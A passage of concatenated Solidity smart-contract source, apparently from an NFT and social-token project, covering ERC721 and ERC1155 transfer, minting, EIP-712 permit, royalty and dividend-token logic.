ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "../interfaces/IERC2981.sol"; contract ERC721RoyaltyMock is ERC721("Mock", "MOCK") { address public owner; constructor() { owner = msg.sender; } function safeMint( address to, uint256 tokenId, bytes memory data ) external { _safeMint(to, tokenId, data); } function safeMintBatch0( address[] calldata to, uint256[] calldata tokenId, bytes memory data ) external { require(to.length == tokenId.length); for (uint256 i = 0; i < to.length; i++) { _safeMint(to[i], tokenId[i], data); } } function safeMintBatch1( address to, uint256[] calldata tokenId, bytes memory data ) external { for (uint256 i = 0; i < tokenId.length; i++) { _safeMint(to, tokenId[i], data); } } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == 0x2a55205a || super.supportsInterface(interfaceId); } function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address, uint256) { uint256 fee = 100; if (_tokenId < 10) fee = 10; return (owner, (_salePrice * fee) / 1000); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./interfaces/INFT1155.sol"; import "./interfaces/IERC2981.sol"; import "./base/BaseNFT1155.sol"; import "./base/BaseExchange.sol"; contract NFT1155V0 is BaseNFT1155, BaseExchange, IERC2981, INFT1155 { uint8 internal _MAX_ROYALTY_FEE; address internal _royaltyFeeRecipient; uint8 internal _royaltyFee; // out of 1000 function initialize( address _owner, uint256[] memory tokenIds, uint256[] memory amounts, address royaltyFeeRecipient, uint8 royaltyFee ) external override initializer { __BaseNFTExchange_init(); initialize(_owner); _MAX_ROYALTY_FEE = ITokenFactory(_factory).MAX_ROYALTY_FEE(); if (tokenIds.length > 0) { _mintBatch(_owner, tokenIds, amounts, ""); } _setRoyaltyFeeRecipient(royaltyFeeRecipient); _royaltyFee = type(uint8).max; if (royaltyFee != 0) _setRoyaltyFee(royaltyFee); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155Initializable, IERC165) returns (bool) { return interfaceId == 0x2a55205a || super.supportsInterface(interfaceId); } function DOMAIN_SEPARATOR() public view override(BaseNFT1155, BaseExchange, INFT1155) returns (bytes32) { return BaseNFT1155.DOMAIN_SEPARATOR(); } function factory() public view override(BaseNFT1155, BaseExchange, INFT1155) returns (address) { return _factory; } function royaltyInfo(uint256, uint256 _salePrice) external view override returns (address, uint256) { uint256 royaltyAmount; if (_royaltyFee != type(uint8).max) royaltyAmount = (_salePrice * _royaltyFee) / 1000; return (_royaltyFeeRecipient, royaltyAmount); } function _transfer( address, address from, address to, uint256 tokenId, uint256 amount ) internal override { _transfer(from, to, tokenId, amount); emit TransferSingle(msg.sender, from, to, tokenId, amount); } function setRoyaltyFeeRecipient(address royaltyFeeRecipient) public override onlyOwner { _setRoyaltyFeeRecipient(royaltyFeeRecipient); } function setRoyaltyFee(uint8 royaltyFee) public override onlyOwner { _setRoyaltyFee(royaltyFee); } function _setRoyaltyFeeRecipient(address royaltyFeeRecipient) internal { require(royaltyFeeRecipient != address(0), "SHOYU: INVALID_FEE_RECIPIENT"); _royaltyFeeRecipient = royaltyFeeRecipient; emit SetRoyaltyFeeRecipient(royaltyFeeRecipient); } function _setRoyaltyFee(uint8 royaltyFee) internal { if (_royaltyFee == type(uint8).max) { require(royaltyFee <= _MAX_ROYALTY_FEE, "SHOYU: INVALID_FEE"); } else { require(royaltyFee < _royaltyFee, "SHOYU: INVALID_FEE"); } _royaltyFee = royaltyFee; emit SetRoyaltyFee(royaltyFee); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "./IBaseNFT1155.sol"; import "./IBaseExchange.sol"; interface INFT1155 is IBaseNFT1155, IBaseExchange { event SetRoyaltyFeeRecipient(address recipient); event SetRoyaltyFee(uint8 fee); function initialize( address _owner, uint256[] calldata tokenIds, uint256[] calldata amounts, address royaltyFeeRecipient, uint8 royaltyFee ) external; function DOMAIN_SEPARATOR() external view override(IBaseNFT1155, IBaseExchange) returns (bytes32); function factory() external view override(IBaseNFT1155, IBaseExchange) returns (address); function setRoyaltyFeeRecipient(address _royaltyFeeRecipient) external; function setRoyaltyFee(uint8 _royaltyFee) external; } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/utils/Strings.sol"; import "../interfaces/IBaseNFT1155.sol"; import "../interfaces/IERC1271.sol"; import "../interfaces/ITokenFactory.sol"; import "../base/ERC1155Initializable.sol"; import "../base/OwnableInitializable.sol"; import "../libraries/Signature.sol"; abstract contract BaseNFT1155 is ERC1155Initializable, OwnableInitializable, IBaseNFT1155 { using Strings for uint256; // keccak256("Permit(address owner,address spender,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_TYPEHASH = 0xdaab21af31ece73a508939fedd476a5ee5129a5ed4bb091f3236ffb45394df62; bytes32 internal _DOMAIN_SEPARATOR; uint256 internal _CACHED_CHAIN_ID; uint8 internal MAX_ROYALTY_FEE; address internal _factory; string internal _baseURI; mapping(uint256 => string) internal _uris; mapping(address => uint256) public override nonces; function initialize(address _owner) public override initializer { __ERC1155_init(""); __Ownable_init(_owner); _factory = msg.sender; _CACHED_CHAIN_ID = block.chainid; _DOMAIN_SEPARATOR = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } function DOMAIN_SEPARATOR() public view virtual override returns (bytes32) { bytes32 domainSeparator; if (_CACHED_CHAIN_ID == block.chainid) domainSeparator = _DOMAIN_SEPARATOR; else { domainSeparator = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } return domainSeparator; } function factory() public view virtual override returns (address) { return _factory; } function uri(uint256 id) public view virtual override(ERC1155Initializable, IERC1155MetadataURI) returns (string memory) { string memory _uri = _uris[id]; if (bytes(_uri).length > 0) { return _uri; } else { string memory baseURI = _baseURI; if (bytes(baseURI).length > 0) { return string(abi.encodePacked(baseURI, "{id}.json")); } else { baseURI = ITokenFactory(_factory).baseURI1155(); string memory addy = Strings.toHexString(uint160(address(this)), 20); return string(abi.encodePacked(baseURI, addy, "/{id}.json")); } } } function setURI(uint256 id, string memory newURI) external override onlyOwner { _uris[id] = newURI; emit SetURI(id, newURI); } function setBaseURI(string memory baseURI) external override onlyOwner { _baseURI = baseURI; emit SetBaseURI(baseURI); } function mint( address to, uint256 tokenId, uint256 amount, bytes memory data ) external override { require(owner() == msg.sender || _factory == msg.sender, "SHOYU: FORBIDDEN"); _mint(to, tokenId, amount, data); } function mintBatch( address to, uint256[] memory tokenIds, uint256[] memory amounts, bytes memory data ) external override { require(owner() == msg.sender || _factory == msg.sender, "SHOYU: FORBIDDEN"); _mintBatch(to, tokenIds, amounts, data); } function burn( uint256 tokenId, uint256 amount, uint256 label, bytes32 data ) external override { _burn(msg.sender, tokenId, amount); emit Burn(tokenId, amount, label, data); } function burnBatch(uint256[] calldata tokenIds, uint256[] calldata amounts) external override { _burnBatch(msg.sender, tokenIds, amounts); } function permit( address owner, address spender, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(block.timestamp <= deadline, "SHOYU: EXPIRED"); require(owner != address(0), "SHOYU: INVALID_ADDRESS"); require(spender != owner, "SHOYU: NOT_NECESSARY"); bytes32 hash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, nonces[owner]++, deadline)); Signature.verify(hash, owner, v, r, s, DOMAIN_SEPARATOR()); _setApprovalForAll(owner, spender, true); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155Initializable is Initializable, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ function __ERC1155_init(string memory uri_) internal initializer { __ERC1155_init_unchained(uri_); } function __ERC1155_init_unchained(string memory uri_) internal initializer { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "SHOYU: INVALID_ADDRESS"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "SHOYU: LENGTHS_NOT_EQUAL"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(msg.sender, operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "SHOYU: INVALID_ADDRESS"); require(from == msg.sender || isApprovedForAll(from, msg.sender), "SHOYU: FORBIDDEN"); address operator = msg.sender; _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _transfer(from, to, id, amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } function _transfer( address from, address to, uint256 id, uint256 amount ) internal { uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "SHOYU: INSUFFICIENT_BALANCE"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "SHOYU: LENGTHS_NOT_EQUAL"); require(to != address(0), "SHOYU: INVALID_ADDRESS"); require(from == msg.sender || isApprovedForAll(from, msg.sender), "SHOYU: FORBIDDEN"); address operator = msg.sender; _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "SHOYU: INSUFFICIENT_BALANCE"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } function _setApprovalForAll( address account, address operator, bool approved ) internal { require(account != operator, "SHOYU: NOT_ALLOWED"); _operatorApprovals[account][operator] = approved; emit ApprovalForAll(account, operator, approved); } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "SHOYU: INVALID_ADDRESS"); address operator = msg.sender; _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "SHOYU: INVALID_ADDRESS"); require(ids.length == amounts.length, "SHOYU: LENGTHS_NOT_EQUAL"); address operator = msg.sender; _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "SHOYU: INVALID_ADDRESS"); address operator = msg.sender; _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "SHOYU: INSUFFICIENT_BALANCE"); _balances[id][account] = accountBalance - amount; emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "SHOYU: INVALID_ADDRESS"); require(ids.length == amounts.length, "SHOYU: LENGTHS_NOT_EQUAL"); address operator = msg.sender; _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "SHOYU: INSUFFICIENT_BALANCE"); _balances[id][account] = accountBalance - amount; } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("SHOYU: INVALID_RECEIVER"); } } catch Error(string memory reason) { revert(reason); } catch { revert("SHOYU: NO_RECEIVER"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("SHOYU: INVALID_RECEIVER"); } } catch Error(string memory reason) { revert(reason); } catch { revert("SHOYU: NO_RECEIVER"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/utils/Strings.sol"; import "./base/DividendPayingERC20.sol"; import "./base/OwnableInitializable.sol"; import "./interfaces/ISocialToken.sol"; import "./libraries/Signature.sol"; contract SocialTokenV0 is DividendPayingERC20, OwnableInitializable, ISocialToken { // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; bytes32 internal _DOMAIN_SEPARATOR; uint256 internal _CACHED_CHAIN_ID; address internal _factory; mapping(address => uint256) public override nonces; function initialize( address _owner, string memory _name, string memory _symbol, address _dividendToken, uint256 initialSupply ) external override initializer { __Ownable_init(_owner); __DividendPayingERC20_init(_name, _symbol, _dividendToken); _factory = msg.sender; _mint(_owner, initialSupply); _CACHED_CHAIN_ID = block.chainid; _DOMAIN_SEPARATOR = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } function DOMAIN_SEPARATOR() public view override returns (bytes32) { bytes32 domainSeparator; if (_CACHED_CHAIN_ID == block.chainid) domainSeparator = _DOMAIN_SEPARATOR; else { domainSeparator = keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(Strings.toHexString(uint160(address(this))))), 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6, // keccak256(bytes("1")) block.chainid, address(this) ) ); } return domainSeparator; } function factory() public view override returns (address) { return _factory; } function mint(address account, uint256 value) external override { require(owner() == msg.sender || _factory == msg.sender, "SHOYU: FORBIDDEN"); _mint(account, value); } function burn( uint256 value, uint256 label, bytes32 data ) external override { _burn(msg.sender, value); emit Burn(value, label, data); } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(block.timestamp <= deadline, "SHOYU: EXPIRED"); require(owner != address(0), "SHOYU: INVALID_ADDRESS"); require(spender != owner, "SHOYU: NOT_NECESSARY"); bytes32 hash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); Signature.verify(hash, owner, v, r, s, DOMAIN_SEPARATOR()); _approve(owner, spender, value); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "./ERC20Initializable.sol"; import "../libraries/TokenHelper.sol"; import "../interfaces/IDividendPayingERC20.sol"; /// @dev A mintable ERC20 token that allows anyone to pay and distribute ether/erc20 /// to token holders as dividends and allows token holders to withdraw their dividends. /// Reference: https://github.com/Roger-Wu/erc1726-dividend-paying-token/blob/master/contracts/DividendPayingToken.sol abstract contract DividendPayingERC20 is ERC20Initializable, IDividendPayingERC20 { using SafeCast for uint256; using SafeCast for int256; using TokenHelper for address; // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 public constant override MAGNITUDE = 2**128; address public override dividendToken; uint256 public override totalDividend; uint256 internal magnifiedDividendPerShare; function __DividendPayingERC20_init( string memory _name, string memory _symbol, address _dividendToken ) internal initializer { __ERC20_init(_name, _symbol); dividendToken = _dividendToken; } // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; /// @dev Syncs dividends whenever ether is paid to this contract. receive() external payable { if (msg.value > 0) { require(dividendToken == TokenHelper.ETH, "SHOYU: UNABLE_TO_RECEIVE_ETH"); sync(); } } /// @notice Syncs the amount of ether/erc20 increased to token holders as dividends. /// @dev It reverts if the total supply of tokens is 0. /// @return increased The amount of total dividend increased /// It emits the `Sync` event if the amount of received ether/erc20 is greater than 0. /// About undistributed ether/erc20: /// In each distribution, there is a small amount of ether/erc20 not distributed, /// the magnified amount of which is /// `(msg.value * magnitude) % totalSupply()`. /// With a well-chosen 